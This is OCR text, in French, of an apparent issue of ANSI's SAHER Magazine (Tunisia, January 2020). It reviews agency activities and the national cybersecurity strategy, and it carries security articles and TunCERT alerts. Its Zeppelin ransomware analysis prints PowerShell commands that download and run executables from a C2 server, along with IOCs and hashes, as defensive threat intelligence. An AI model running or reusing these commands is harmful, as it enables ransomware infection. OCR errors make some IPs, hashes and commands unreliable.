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Publication de la stratégie nationale
de la cyber sécurité

Durant 'année 2019, I'ANSI a poursuivi la mise en ceuvre des missions qui lui ont été confiées
par la loi n° 05 de 2004 et conformément aux objectifs fixés dans le plan stratégique national
Tunisie 2020, notamment en matiére de soutien a la confiance numérique et de renforcement
de la sécurité des systémes et réseaux informatiques, ce qui contribue a l'avancement de
I'économie numérique dans notre pays. Dans cet article, nous dressons le bilan de cette année
pour les services suivants: I'audit, la réponse aux incidents, CERT, ISAC et la sensibilisation.

- Audit de la sécurité des systémes d’information

Parmi les principaux rdles de cette direction est 1’étude et
I’évaluation de la qualité des rapports d'audit recus, la dé-
termination des insuffisances et la proposition des recom-
mandations adéquates. Jusqu’a fin Novembre de cette année,
I’agence a constaté une baisse de 30% par rapport au nombre
de rapports d’audit regus durant 2018. Cependant, la réparti-

tion des rapports selon le secteur d’activité reste la méme
avec le secteur bancaire en téte de liste suivi par le secteur
des TIC.

Toutefois, cette année a été riche en événements pour cette
direction sur plusieurs plans. En effet, elle a lancé, en pre-
mier lieu, une plateforme “d'auto-évaluation du niveau de
sécurité des systemes d'information” qui permet aux
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structures et institutions nationales de mesurer 1’état actuel de
la gestion de la sécurité des systémes d’information et d'éva-
luer sa maturité par rapport aux bonnes pratiques de la norme
ISO 27002, cette plateforme propose aussi des recommanda-
tions adaptées a la réalité des organismes en fonction des ré-
ponses fournies.

En second lieu, une mise a jour concernant l'activité de 1'au-
dit de la sécurité informatique a été apportée. En effet, cette
activité est désormais soumise au régime de cahiers des
charges fixé par I’arrété du ministre des technologies de la
communication et de 1'économie numérique et du ministre du
développement, de I’investissement et de la coopération
internationale du 01 Octobre 2019.

- Réponse aux incidents

La réponse aux incidents cybernétiques constitue 1’un des pi-
liers de I’ANSI, ce service traite les incidents qui lui par-
viennent des différentes institutions et fournit 1’assistance
technique nécessaire en cas de besoin. Pour cette année, prés
de 240 incidents ont ét¢ déclarés a ce service avec une domi-
nation des attaques virales (prés de 77%), ces attaques com-
portent les virus, ransomwares, etc.., suivi par les attaques de
type escroquerie (14%).

- TunCERT

L'Agence Nationale de la Sécurité Informatique met a la
disposition des internautes un centre d'assistance et de sou-
tien en matiére de sécurité informatique (Computer Emer-
gency Response Team). Ce centre offre gratuitement
l'assistance nécessaire aussi bien aux citoyens qu’aux profes-
sionnels concernant tous les problémes ayant trait a la sécuri-
té des systémes d’information et veille a la disponibilité¢ des
moyens appropriés, aptes a assurer la protection de I’espace
cybernétique national.

Le TunCERT a publié pendant cette année presque une cen-
taine de bulletin d'alertes concernant des virus et des vulnéra-
bilités dont le niveau de gravité varie de grave a extremement
grave.

Durant I'année écoulée le TunCERT a aussi accompagné plu-
sieurs CERTs a adhérer aux CERTs internationaux comme le
AfricaCERT pour le Rwanda et le FIRST pour CSIRT.tn, le
premier CERT national privé.

- SAHER

"SAHER" est une compilation de plusieurs outils qui intégre
des éléments techniques et des composants de gestion des
flux d'information afin de rassembler des données relatives a
la cyber-sécurité qui seront analysés avec des méthodes
intelligentes. Ce qui permet d'évaluer et de mesurer les
risques et les menaces et d'analyser les impacts sur les dif-
férents composants du cyberespace national. SAHER re-
présente donc un systéme de support décisionnel pour aider
a mesurer le niveau d’alerte de sécurité national a partir d'une
énorme quantité d'événements analysés.

Cette année, une nouvelle solution est venue renforcer la pla-

teforme nationale de détection des menaces cybernétiques
"SAHER", il s'agit de la solution ARBOR pour la détection
des attaques de type DDOS.

Notons que la plateforme SAHER détecte en moyenne 2
millions de tentatives d'attaques cybernétiques par trimestre
réparties entre des attaques de type trojan, des tentatives de
vol de données ou des tentatives de piratage de comptes ou
d'applications Web.

- Formations/ sensibilisation

Comme chaque année, I'ANSI participe dans plusieurs for-
mations, workshop, actions de sensibilisation, etc...

Mais la grande nouveauté concernant la formation est sans
nul doutes celle du lancement en 2020 du premier Master
professionnel co-construit en partenariat avec I'Ecole supé-
rieure des communications de Tunis Sup'Com et intitulé «
Cyber sécurité opérationnelle » et ce pour le renforcement
des capacités et de I’employabilité des diplomés de 1’ensei-
gnement supérieur. Une convention de partenariat avec ladite
école a été signée en mai 2019.

- CyberDrill

Le Cyberdrill est devenu un des événements incontournables
de 'ANSI, et ce depuis sa premicére édition en 2016, en effet
chaque année et a la méme période, les professionnels de la
sécurité informatique ont rendez-vous avec les scénarios
proposés par 'ANSI afin de tester leur niveau de réactivité
face aux attaques proposées. Comme a l'accoutumée, deux
Cyberdrill ont été organisés cette année, un de niveau natio-
nal qui a été trés apprécié par les participants sur les plans
organisationnel et technique et un deuxiéme Cyberdrill sec-
toriel qui a été organisé au sein de 1"ANSI.

- Suivi des infrastructures critiques

Deux événements majeurs ont été organisés par I'ANSI
concernant le suivi des infrastructures critiques et qui ont eu
comme but de dégager les bonnes pratiques de sécurité
concernant ces domaines d'activités.

I'ANSI a participé activement dans I'élaboration de la Straté-
gie nationale de cybersécurité qui a été publiée en décembre
2019.

L'ANSI a aussi assisté a plusieurs réunions techniques avec
le centre Informatique du ministére de la santé en vue de dé-
velopper et lancer un CERT pour ce secteur.

Perspectives

Bien que cette année a été bien riche en événements et chal-
lenges, beaucoup de défis restent a relever durant les années
a venir surtout avec le nouveau code numérique en cours
d'approbation.

En effet, ce nouveau code va éventuellement procurer a
I'ANSI de nouvelles prérogatives élargissant ainsi 1'éventail
de ses fonctions.
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Publication de la Stratégie Nationale
de Cybersécurité

M. Anwar Maarouf, ministre des Technologies de la com-
munication et de I'économie numérique, accompagné du gé-
néral de division Mohamed Salah Hamdi, Conseiller a la
sécurité nationale auprés du président de la république, a
supervisé un symposium pour présenter la stratégie nationale
de cybersécurité, en présence de représentants des secteurs
public, privé et de la société civile, et ce le 9 décembre 2019
au sein du Ministére des technologies de la communication
et de I'économie numérique.

Cette stratégie était basée sur une approche participative, qui
a ¢té préparée par des spécialistes et des compétences natio-
nales dans le domaine, en s'appuyant sur les résultats des ana-
lyses des cyberrisques au niveau national.

Cette stratégie est considérée comme une étape importante
pour rendre I'Etat tunisien capable de prévenir les cyberme-
naces et d'assurer la confiance numérique et le leadership
dans le domaine numérique.

Elle veille également a développer le systéme juridique pour
le domaine numérique tout en créant des mécanismes de co-
opération aux niveaux local et mondial pour gérer les risques
qui menacent le cyberespace et fournir des compétences na-
tionales.

Cette stratégie définit un ensemble d'orientations portant sur
cinq domaines, a savoir:

- Orientations et stratégies sectorielles

- Cadre juridique et réglementaire

- Education, formation et compétences

- Cyber culture et société

- Normes et technologies
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11 est a noter que cette stratégie a été approuvée le 22 octobre
2019 par le président de la République.

La stratégie peut étre consultée via le lien suivant:
https://ncss.ansi.tn/
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Protection des infrastructures
d'information critiques

L'Agence Nationale de la Sécurité
Informatique a organisé, le jeudi 5
décembre 2019, un atelier consacré a
la  "Protection des infrastructures
d'information critiques". Ce workshop
vise a élever le niveau de résilience
des infrastructures d'information cri-
tiques contre diverses cyberattaques.

Cet atelier a été programmé suite a la
réussite du premier séminaire qui s'est
déroulé les 25 et 26 septembre 2019 et
qui a été organisé et financé par
l'instrument d'assistance technique et
d'échange d'informations de la Com-
mission européenne (TAIEX), en col-
laboration avec 1'Agence Nationale de
la Sécurité Informatique, portant sur le
théeme « La résilience des infra-
structures d'information d'importance
vitale ».

Pour rappel, 1'organisation de cet atelier
s'inscrit dans le cadre de I'élaboration
des composantes de la "Stratégie na-
tionale de cyberdéfense" en application
des résolutions du Conseil de sécurité

nationale.

Un certain nombre de responsables de
la sécurité des systémes d'information
aupres des structures nationales et des

institutions concernées par divers sec-
teurs vitaux ont participé a cette mani-
festation.

Au cours de l'atelier, plusieurs axes ont
été abordés, tels que: la vision partici-
pative de I'agence sur la protection des
infrastructures vitales, les dimensions
organisationnelles de la protection des
infrastructures d'information, et le
mode opératoire des centres sectoriels
de réponse aux urgences d'information
et de sécurité opérationnelle.

Parallelement a l'atelier susmentionné,
des ateliers sectoriels ont été organisés,
au cours desquels des propositions de
mécanismes et de pratiques dans le do-
maine de la protection des infra-
structures d'information vitales ont été
étudiées.
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Atelier régional de I'UIT pour
I'Afrique et les régions arabes
portant sur les "Stratégies nationales
de cybersécurité”

L'atelier régional de 1'UIT pour
I'Afrique et les régions arabes portant
sur les «Stratégies nationales de cyber-
sécurité» a ¢été organisé par 1'Union
Internationale des Télécommunications
(UIT) en collaboration avec I'Agence
Nationale de la Sécurité Informatique
(ANSI) et en partenariat avec 'ARCC
et Deloitte ainsi que 1'0Office National
du Tourisme Tunisien.

Cet atelier est organisé dans le cadre de
I'Initiative régionale de I'UIT pour
I'Afrique et les régions arabes sur le
renforcement de la confiance dans I'uti-
lisation des technologies de l'informa-
tion et de la communication adoptée
par la Conférence mondiale de déve-
loppement des télécommunications de
I'UIT 2017 (CMDT-17), qui vise entre
autres a 1'¢laboration ou a I'examen des
stratégies nationales de cybersécurité et
au partage des meilleures pratiques na-
tionales et régionales et des études de
cas.
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Les travaux du Workshop étaient basés
sur des exercices et des études de cas
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Saoudite , Burkina Faso, Kenya et la
Mauritanie.
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4-7 Novembre 2019
Formation a la cybersécurité pour les e(cilulpes
ents de

régionales africaines de réponse aux inci

sécurité informatique

Participation de I'Agence Nationale de la Sécurité¢ Informatique aux
workshops intitulés "Cyber Security Training for African Regional
Computer Security Incident Response Teams" qui ont eu lieu a Nairoubi,

Kenya du 4 au 7 Novembre 2019.

28 Octobre 2019

Workshop : Assurance
qualité, fiabilité et
sécurité des logiciels et
cybersécurité

L’Agence Nationale de la Sécurité Informatique a organisé
le Lundi 28 Octobre 2019, un Workshop sur le théme «
Software quality assurance, software reliability and
security, and cyber security ». Cet atelier a été animé par
Dr. Mohammad Zulkernine, Professor and Graduate Chair
a Queen's University Kingston, Canada, en collaboration
avec Dr. Habib Kammoun, responsable de la section IEEE

15 Novembre 2019

Nouveautés pour les
experts auaiteurs

Suite a la publication de l'arrété du ministre des
technologies de la communication et de I'économie
numérique et du ministre du développement, de
l'investissement et de la coopération internationale, fixant
le cahier des charges relatif a I'exercice de l'activité d'audit
dans le domaine de la sécurité informatique, I'ANSI a
organisé une réunion d'information et de concertation avec
les experts auditeurs le vendredi 15 Novembre 2019.

.

La réunion a été l'occasion pour présenter les nouvelles
dispositions prévues par ledit arrété et échanger sur divers
sujets en relation avec l'activité d'audit.
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27-28 Octobre 2019
Sommet régional de la
cybersécurité, Muscat,

Oman

Participation de I'ANSI et les compétences tunisiennes dans
le domaine de Cyber-sécurité a la 8e édition du sommet
régional de la Cyber-sécurité a Muscat, Oman.
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Cette édition a été marquée par la présence de plusieurs
compétences tunisiennes dans le domaine de la cybersécu-
rité, ayant tous fait partie de I'équipe de ' ANSI auparavant.

16-18 Décembre 2019
Cyber Security Days de
I'univertité de Gabes

L'Agence Nationale de la Sécurité Informatique a participé
aux "Cyber Security Days of Gabes University" organisés
par I'université de Gabes et ce, du 16 au 18 Décembre 2019
a 'Hotel Seabel Rym Beach Hétel a Djerba.

Lors de cet événement, des Workshops ainsi que des
challenges ont été proposés aux participants dans le but
d’améliorer leur réactivités aux menaces cybernétiques.

NATIONAL CYBER
SECURITY CONGRESS

17/01/2020-->19/01/2020
ORIENT PALACE S00SSE

SECURINETS
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Intelligence artificielle :{la nouvelle

arme pourledpirates

Aujourd’hui, lintelligence artificielle devient de plus en plus impliquée dans notre quotidien,

surtout dans le domaine du cyber sécurité. Néanmoins, comme tout moyen, elle peut étre
détournée a une arme utilisée par les pirates. Cet article a été rédigé par Amal Menzli,
Ingénieur Data Science, et s'adresse a toute personne intéressée par le Deep learning du point

de vue de la sécurité.

1. Fusion entre IA et le cyber
sécurité dans les grandes

entreprises :

Le monde des affaires met 1’accent sur
la confidentialit¢ et la protection des
données des clients en adoptant une ap-
proche de sécurité basée sur les
risques. Dans le méme contexte, les
entreprises choisissent I'A  comme
technologie défendant contre les cy-
bermenaces. Parmi ces entreprises, on
peut citer :

- Darktrace: c’est un leader mondial
avec plus de 30 bureaux dans le
monde. Elle a aidé des milliers d'entre-
prises dans divers secteurs a détecter et
combattre les cybermenaces en temps
réel. La plateforme d'TA de Darktrace
analyse les données du réseau pour ef-
fectuer des calculs, identifie des mo-
deles et aide les organisations a
détecter les cybermenaces émergentes.

- Cynet: Cynet 360 utilise 1'TA prati-
quement dans toutes les étapes des ser-
vices de protection, elle recherche en
permanence des vulnérabilités et des
activités suspectes et applique des ac-
tions précises de protection la violation
d'un systéme.

FireEye: elle fournit une plate-forme
compléte qui comprend la prévention,
la détection, la réponse, et aide a se
défendre de maniére proactive contre
les menaces futures.

- Cylance: c’est une plateforme
d'intelligence artificielle qui aide a pré-
venir les menaces avant qu'elles ne
causent des dommages, a prévoir et a
protéger contre les attaques cyberné-
tiques.

- Symantec: elle offre une plateforme
qui défend les clouds, les terminaux et

les infrastructures avec une gestion de
la sécurité¢ guidée par l'intelligence arti-
ficielle.

- Fortinet: elle fournit un produit basé
sur 1TA appelé FortiWeb : c’est un
pare-feu d'application Web qui utilise
l'apprentissage automatique et deux
couches de probabilités statistiques
pour détecter avec précision les me-
naces.

- Vectra : c¢’est un leader mondial pré-
sentant une plateforme de la détection
et de réponse aux menaces basées sur
ITA.

Comme déja vu dans ce qui précéde,
I’IA est tres efficace mais elle pourrait
étre exploitée par les cybercriminels.

2. Intelligence artificielle et at-
taque « adversarial » :

Une attaque « adversarial » consiste en
réalit¢ a modifier les entrées dans les

F(x)=2(x; w;)

hiais

%=1

modeles d'apprentissage pour fausser le
résultat qu’elles produisent. Ce type
d’attaque peut étre produit suite a des
techniques de I’intelligence artificielle.
On peut citer I’exemple suivant :

a. Piratage de « Neural Network »

Les réseaux de neurones ou neural net-
work (en anglais) sont largement utili-
sés, avec des applications pour les
opérations financiéres, l'analyse
commerciale et la maintenance des
produits. Ils sont aussi « hackable ».
Dans ce qui suit, nous présentons cer-
taines des méthodes qui peuvent é&tre
utilisées pour exploiter ces réseaux :

- Attaques sur les poids et les biais :

Les poids et les biais sont les para-
meétres apprenables d’un modéle d’ap-
prentissage. En plus des réseaux de
neurones, ils apparaissent avec les
mémes noms dans d’autres modéles

i=0..n
— W;: poids
X.: entrées

Avec
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THREAT INTELLIGENCE

tels que la régression linéaire. La plu-
part des algorithmes d'apprentissage

incluent certains paramétres pouvant

étre appris comme celui-ci. Les valeurs
de ces parameétres avant le début de
I'apprentissage sont initialisées de
maniére aléatoire. Ensuite, lorsqu'ils
sont présentés avec des données pen-
dant I'entralnement, ils sont ajustés vers
des valeurs qui ont une sortie correcte.

Une augmentation trés élevée du biais
ou poids modifie inconvenablement les
quantités d'entrées ou de sorties d'un
modele.

- Backdooring et injection des mal-
wares

Ici, on entraine le modéle a partir de
z€ro et on intégre la porte dérobée dans
le « training set ». C’est juste un em-
poisonnement du réseau de neurones.
Comme la méthode de backdooring, le
modele peut aussi étre formé a injecter
du contenu malveillant comme les mal-
wares.

b. Conseils pour protéger votre ré-
seau neuronal

Nous devons toujours nous préparer a
lutter contre ces attaques :

Pour les attaques sur poids et biais, on
doit traiter le fichier modéle comme
une base de données sensible, on n’a
pas besoin d'un "accés en lecture et en
écriture" et on doit peut-étre le crypter.

Pour le backdooring, on peut effectuer
des vérifications d'intégrité du réseau
neuronal en utilisant périodiquement
des exemples négatifs. Il existe des
méthodes congues pour atténuer les ef-
fets des portes dérobées et des empoi-
sonnements, comme fine-pruning et
AUROR.

Il existe d'autres attaques possibles
qu’on n'a pas évoqueées ici.

Pour conclure, 1I'A a bien résolu cer-
tains problémes pour les entreprises,
mais elle finit par étre une arme servant
les pirates. Peut-étre demain, les ma-
chines intelligentes pourraient mener
leur propre cyberguerre.

Source :
https://medium.com/analytics-vid-
hya/artificial-intelligence-as-a-weapon-
for-hackers-fccec8f44275

28 Novembre 2019

Workshop "IA, Big Data
et cybersecurlte

L'Agence Nationale de la Sécurité Informatique a organisé, le Jeudi 28 No-
vembre 2019, en collaboration avec IEEE Tunisian Chapter, un workshop sous
le theme "IA, Big Data et Cybersécurité".
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Jeudi 28 Novembre 2019
Au siége de 'ANSI
de 8h30 a 13h30

Cet atelier, qui a eu lieu aux locaux de I'ANSI, a été réalisé dans le cadre de la
deuxiéme édition des rencontres entre les professionnels et les chercheurs dans
le domaine de la cybersécurité afin de fructifier la collaboration entre leurs mi-
lieux respectifs dans le
but de promouvoir
I’industrie tunisienne tout
en valorisant la recherche
scientifique dans ce do-
maine qui nécessite des
compétences  pluridisci-
plinaires, en considérant
la montée en puissance de
la complexité des me-
naces cybernétiques.

Cybersecurity @ IRT SystemX
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TOP 10 des tendances en
cybersécurité a surveiller en 2020

Les cybercrimes sont de plus en plus fréquents et ravageurs. Alors que le monde devient de
plus en plus numérisé, la cybersécurité ne peut plus étre mise en veilleuse. Les organisations
sont de plus en plus conscientes de I'importance de la cybersécurité, la plupart ont du mal a dé-
finir et a mettre en ceuvre les mesures de sécurité requises, allant de la protection des équipe-
ments et du réseau jusqu'aux données méme a caractéere personnel.

Voici les principales tendances en matiére de sécurité qui sont susceptibles d'avoir un impact
sur les entreprises et les consommateurs en 2020.

1. Les violations des données

Les violations de données constituent
actuellement le principal probléme de
cybersécurité, et cela devrait se pour-
suivre aussi longtemps que les données
personnelles resteront une marchandise
précieuse sur le marché noir. Assurer la
confidentialité des données, et en parti-
culier les données personnelles, restera
probablement une priorité pour les or-
ganisations. Cela est dii en partie a une
1égislation de plus en plus stricte sur la
vie privée, comme la loi sur la protec-
tion des données personnelles de
I'INPDP, mais aussi aux organisations
qui sont de plus en plus conscientes des
conséquences négatives d'une atteinte a
leur image. Les failles des applications
Web étant la principale source de vio-
lations de données, garantir leur sécuri-
té est devenu une priorité absolue pour
toutes les organisations.

2. Le déficit des compétences en cy-
bersécurité

La demande de professionnels de la cy-
bersécurité continue de dépasser 1'offre,
méme si les équipes de sécurité doivent
faire face a plus de menaces que
jamais. Avec prés de deux organisa-
tions sur trois dans le monde signalant
une pénurie de personnel de sécurité

informatique, les outils de sécurité au-
tomatisés tels que les solutions de
gestion des vulnérabilités en ligne de-
viennent rapidement essentiels pour
maintenir un bon niveau de sécurité.
Les produits modernes peuvent méme
permettre a une petite équipe de sécuri-
ser efficacement plusieurs sites et ap-
plications Web, offrant une alternative
aux problémes de recrutement pres-
sants.

3. Problémes de sécurité dans le

cloud

[

Alors que les processus métier, l'infra-
structure et les données sont de plus en
plus transférés vers le cloud, la protec-
tion des informations et des infra-
structures  critiques nécessite  des
approches complétement nouvelles en
matiére de sécurité d'entreprise. Les
menaces basées sur le cloud continue-
ront inévitablement de croitre, en effet,
des compartiments de données mal
sécurisés ou configurés augmentent le
risque de violations de données ma-
jeures pour les organisations, grandes
ou petites soient elles, et les services
cloud non autorisés peuvent facilement
étre ajoutés par les utilisateurs finaux.
Les organisations découvrent que la
gestion manuelle de la sécurité n'est

plus possible pour les grandes infra-
structures d'applications Web, ce qui
les oblige a repenser a leur approche
concernant la sécurité de ces applica-
tions.

4. Automatisation et intégration dans
la cybersécurité

Les professionnels de la sécurité, les
développeurs et les ingénieurs sont
tous sous pression pour l'automatisa-
tion et l'intégration de la sécurité a tous
les niveaux. En intégrant la sécurité
dans des processus agiles tels que CI /
CD et DevOps , les organisations
peuvent gérer efficacement les risques
tout en maintenant le rythme et la qua-
lit¢ de développement requis. Les ap-
plications Web tentaculaires combinant
plusieurs services Web sont de plus en
plus difficiles a sécuriser et les solu-
tions automatisées deviennent une
nécessité pour réduire la charge de tra-
vail des équipes en sous-effectif.

5. Une prise de conscience croissante
de l'importance de la cybersécurité

Avec la transformation numérique en
cours dans de nombreuses organisa-
tions, la sensibilisation aux défis de la
cybersécurité continue de croitre non
seulement pour les grandes mais aussi
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pour les petites entreprises. De plus en
plus d'entreprises se rendent compte
qu'avoir une stratégie de cybersécurité
efficace et un plan de réponse aux cy-
berincidents est une nécessité, pas un
luxe. La formation a la sécurité de
I'information devient monnaie courante
pour tout le personnel afin d'améliorer
la cyber-hygiéne et de maintenir une
posture de sécurité solide a tous les ni-
veaux de l'organisation. La sécurité
gagne également une place permanente
dans le cycle de vie du développement
logiciel afin d'intégrer la sécurité a
toutes les étapes du développement .

6. Les appareils mobiles constituent
un risque majeur de cybersécurité

Le nombre d'appareils mobiles utilisés
par les employés continue d'augmenter,
tout comme la quantité de données
d'entreprise stockées sur ces appareils.
Bien que l'impact commercial direct
des logiciels malveillants mobiles soit
faible, nous pouvons nous attendre a
une augmentation du nombre de viola-
tions de données liées a la mauvaise
utilisation des appareils mobiles.
Chaque appareil utilis¢é pour accéder
aux systemes de l'entreprise est un
autre point de terminaison a sécuriser.
Un moyen de réduire les risques
consiste donc a fournir un accés via
une infrastructure d'application Web
sécurisée avec gestion des vulnérabili-
tés en temps réel.

7. Impact accru des cyberattaques
parrainées par I'Etat

Les menaces avancées persistantes
soutenues par les acteurs des Etats-na-
tions constituent désormais une partie
importante du paysage de la sécurité
mondiale. Les cybercriminels soutenus
officieusement par I'Etat peuvent
exécuter des attaques DDoS, provoquer
des violations de données de grande
envergure, voler des secrets politiques
et industriels, diffuser des informations
erronées, influencer 1'opinion et les
événements mondiaux et réduire au si-
lence les voix défavorables. Alors que
les tensions politiques s'intensifient,
nous pouvons nous attendre a ce que
ces activités s'intensifient - et le
maintien de la sécurité face a des atta-
quants avancés répartis dans le monde
entier ayant accés a des exploits zero-
day obligera les grandes entreprises et
les organisations gouvernementales a
déployer des solutions également avan-

cées pour détecter et éliminer les vul-
nérabilités émergentes.

8. Risques liés aux appareils IoT

Dans la course a la livraison de nou-
veaux produits et technologies, la sécu-
rit¢ est rarement la  premiére
considération, il n'est donc pas surpre-
nant que l'espace IoT (Internet des ob-
jets) en plein essor ait apporté une
multitude de failles de sécurité:
Informations d'identification codées en
dur, communication sans fil non sécu-
risée, données personnelles non chif-
frées, mises a jour de micrologiciel non
vérifiées, interfaces Web vulnérables,...
et la liste est bien longue. Les appareils
IoT compromis tels que les routeurs et
les serveurs NAS peuvent fournir un
acceés aux communications et aux don-
nées, servir de points d'entrée pour de
nouvelles attaques ou agir comme des
drones d'attaque DDoS, tandis que les
produits domotiques et les appareils
portables peuvent étre utilisés pour vo-
ler des informations personnellement
identifiables et d'autres données utile
aux criminels.

9. L'IA des deux cotés de la barriére

&

Les progres de l'intelligence artificielle
(IA) font entrer les technologies d'ap-
prentissage automatique dans de plus
en plus de produits dans tous les sec-
teurs de marché, y compris la cyber-
sécurité. Des algorithmes
d'apprentissage en profondeur sont uti-
lisés pour la détection des visages, le
traitement du langage naturel et la dé-
tection des menaces. Cependant, 1TA
est également armée par les cybercri-

minels pour développer des logiciels
malveillants et des méthodes d'attaque
de plus en plus sophistiqués, obligeant
les organisations a déployer des solu-
tions heuristiques avancées plutot que
de s'appuyer sur des vulnérabilités
connues et des signatures d'attaque.

10. La menace de phishing toujours
persistante

Les attaques de phishing restent une
méthode efficace pour voler des
informations d'identification et des
identités, distribuer des logiciels mal-
veillants, provoquer des paiements
frauduleux, le cryptojacking (extrac-
tion de crypto-monnaie) et ainsi de
suite, et la menace ne disparaitra pas
d'ici un an. Il en va de méme pour les
attaques de rangongiciels, qui conti-
nuent de fournir une source solide de
revenus pour la cybercriminalité inter-
nationale. Une protection efficace
nécessite non seulement une formation
appropriée en matiére de cybersécurité
pour tous les employés et partenaires
commerciaux, mais également une
gestion approfondie de la sécurité et
des vulnérabilités pour empécher les
attaquants d'obtenir des informations
confidentielles utilisées dans les tenta-
tives de phishing.

Sources:
https://www.netsparker.com/blog/web-
security/top-10-cybersecurity-trends-
to-look-out-for-in-2020/
https://www.cybintsolutions.com/10-
cybersecurity-trends-to-watch/
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MALWARE ANALYSIS

Zeppelin:
le rancongiciel qui cible les compagnies de
technologies et de santé !

Zeppelin est une nouvelle variante de
la famille de ransomware Vega. Ce
nouveau rancongiciel cible les compa-
gnies de technologies et de santé en
Europe, aux Etats-Unis et au Canada.
Les cybercriminels utilisent 1’applica-
tion Remote Desktop « ConnectWise
Control » qui était auparavant connue
sous le nom de « ScreenConnect » pour
livrer le rangongiciel Zeppelin et cryp-
ter les fichiers de la victime sur un PC
Windows.
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FILES ARE ‘
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File Edit Format View Help @GD< Y[ - °UNI
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All your files, documents, photos, databases and other important files are encrypted. 'O.#j]&bs;

111 YOUR FILES ARE ENCRYPTED !!! BaDmkx)—_:EEm

All your files, documents, photos, databases and other important a( | Xoe 015i¢2]

files are encrypted. 1%2> ZZ0.yYo .

You are not able to decrypt it by yourself! There is only one method Rl s

of recovering files it is purchase an unique private key. TR
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* Do not try to decrypt your data using third party software, it may cause permanent data loss.
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Principe de fonctionnement

SereenConnect open CMD shell

cmd.exe lc <path=\ScreenConnectisversion=l=command-id=run.cmd

Execute PowerShell command from ScreenConnect

$C-Shell>> powershell.exe -nop -w hidden -c IEX

{inew-object net.webclient).downloadstring("hitp:1148.142.213.167 loxf™))

powershell -Command “(New-Object Met.WebClient).DownloadFile('
http://45.142,213.167 /oxford. exe', "C: \Windows Tempioxford. exe' )"
Invoke=-Exprassion =Command '"C:\Windows\Temp\exford.axa'

l

Second
Powershell Downloader

powershell -Command “{New-Object Net.WebClient).DownloadFile('
http: / /45,142, 213,167 /oxfordnew. exe, "¢ \Hindows) Temp\oxfordnew, exe' )"
Invoke=Exprassion =Command '"C:\Windows'\Temp'\oxfordnaw.exe"

Zeppelin Artifact-
Oxfordnew.exe

Initialement, Zeppelin est fourni via l'application de contrdle de bureau a distance ScreenConnect.

Une fois le logiciel ScreenConnect exécuté, le service ScreenConnect crée et exécute un fichier run.cmd, temporairement mas-
qué, qui contient les commandes a exécutées a distance.

Plus tard, les attaquants exécutent la commande PowerShell
pour télécharger l'artefact du rancongiciel Zeppelin a partir
du serveur :

http: //45.142.213.167/0xf

Le rancongiciel Zeppelin utilise également les méthodes de
livraison : telle que vidar infostealer, cobalt strike beacons et

les outils PS2EXE.

MDS5 des différents composants de rancongiciel Zeppelin

Adresses IP du serveur C&C
-45.142.213.167
-216.249.104.215

Source
https://gbhackers.com/zeppelin-ransomware-2/

CFCBD89AC2A32EF179CB39ABB569A952

Pl.exe (Info stealer)

BFDFD9874072B6340660B501F1BD7A33

P2.exe

FEE6BA9AOD7A805B3281D4F955821C1C

Oxfordnew.exe (Zeppelin)

ABE670C63E257049ATBCAEG32COACEF6

Oxford.exe (Zeppelin)

0E06F623BCAEEFA97A84EDEDFBB6BB7E Work.exe
3F120DE1249E8724EC1CIEF255F26067 Rdp.exe (PS2EXE)
0D442C4D8B4C4312840675CAC8D69661 Vid.exe (Vidar)
58F53C8034A1E0AC1174595909DDF88C Vids.exe

386157F4CAB9327D01A7210DA9237EF0

Zeppelin.exe

357B149A0F40224DB5SD359DB104A6778

doe_install.exe

68CCFAFOF453CC45FAAABF653ABYC983

4. exe

AFEDI10704BFB8FIEFTF057D5523B9AD431

Artvnch.exe
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Attention : La stéganographie est possible
avec les fichiers audio

Autres que les fichiers textes et images, la « stéganographie »
est devenue possible avec les fichiers audio. En effet, des
groupes de pirates ont utilis¢ des méthodes innovantes pour
incorporer de fagon inapergue leurs codes de crypto-minage
et de porte dérobée (backdoor) dans des fichiers audio «
WAV». Une fois que la victime ouvre un fichier audio
malicieux, sa machine et ses données personnelles seraient
contrdlées a distance via un serveur de commande et de cont-
role.

Pour se protéger face a cette menace, nous vous conseillons

d’étre vigilant et de suivre les mesures préventives suivantes:

- Mettre a jour votre solution anti-malware.

- S’assurer de la fiabilité des sites web visités avant de
télécharger des fichiers audio a 1’aide des extensions Netcraft
et Web Of Trust (WoT).

- Scanner immédiatement chaque fichier téléchargé.

- Se connecter a Internet via un compte utilisateur limité.

Source
https://tuncert.ansi.tn/publish/content/news.asp?idn=156

Attention au ransomware « Megacortex »

Chaque jour qui passe, une nouvelle variante de ransomware
est découverte avec des nouvelles capacités. Baptisé «
Megacortex », il est capable de modifier le mot de passe
d’accés a un systétme Windows ainsi que crypter certaines
données sensibles et privées sur les disques dur et les
dossiers partagés.

De ce fait, nous vous rappelons d’étre vigilant et de suivre les
mesures préventives suivantes :

- Sauvegarder réguliérement vos données sensibles sur des
disques durs externes.

- Mettre a jour votre systéeme d’exploitation, vos navigateurs
Web et aussi votre solution anti-malware.

- Mettre a jour le logiciel Adobe Flash Player avec la
derniére version.

- Créer périodiquement des points de restauration pour
récupérer les fichiers systéme en cas d’infection.

- Vérifier I'authenticité des expéditeurs avant la lecture de
chaque message recu par e-mail ou affiché sur votre mir de
Facebook / Twitter / Instagram et en cas de doute n’y

Trojan. BAT.CORTEX.A

= ﬁ /2
LN
Batch file for terminating

processes, services and
executing the ransomware

Compromised
Domain Controller

Ransom.MWin32.CORTEX.A

v

Dropped using WMI

then executes batch
file by using PSExec

=3
Files are searched
for encryption

15 - SAHER Magazine - Janvier 2020 - N° 9

répondez pas, ne cliquez pas sur les liens hypertextes ou les

images qu’il contient et supprimer le immédiatement.
N’enregistrer pas vos logins, mots de passe et vos

identifiants bancaires dans les navigateurs web.

- Installer les extensions « Netcraft » et « adblockplus » dans

votre navigateur web pour vous renseigner sur la fiabilité des

sites web visités et bloquer les annonces publicitaires dou-

teuses.

- Pour se connecter a internet, éviter d’utiliser un compte «

Administrateur » et choisir un autre avec des priviléges limi-

tés.

- Définir des mots de passe robustes pour tous les comptes

utilisateurs accessibles a votre systéme.

- Télécharger vos applications seulement a partir des sources

officielles.

Source
https://tuncert.ansi.tn/publish/content/news.asp?idn=157

Ransom.MWin32.CORTEX. A.note

55 | 7

Log files are stored at C:\oz_nqjjp.log
with details that it was not able to

encrypt

[CE} Files are encrypted
2

If Yes

Ransom note is
dropped

Check if file is accessible
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TUNCERT

Attention au ransomware multi-OS
Purel.ocker

Récemment, un nouveau ransomware multi-OS a été
découvert sur le net et ciblant particuliérement les serveurs
de production des entrprises. Baptisé « PureLocker », ce
malware est developpé en PureBasic (un langage de
programamtion rarement utilisé) afin que son binaire soit
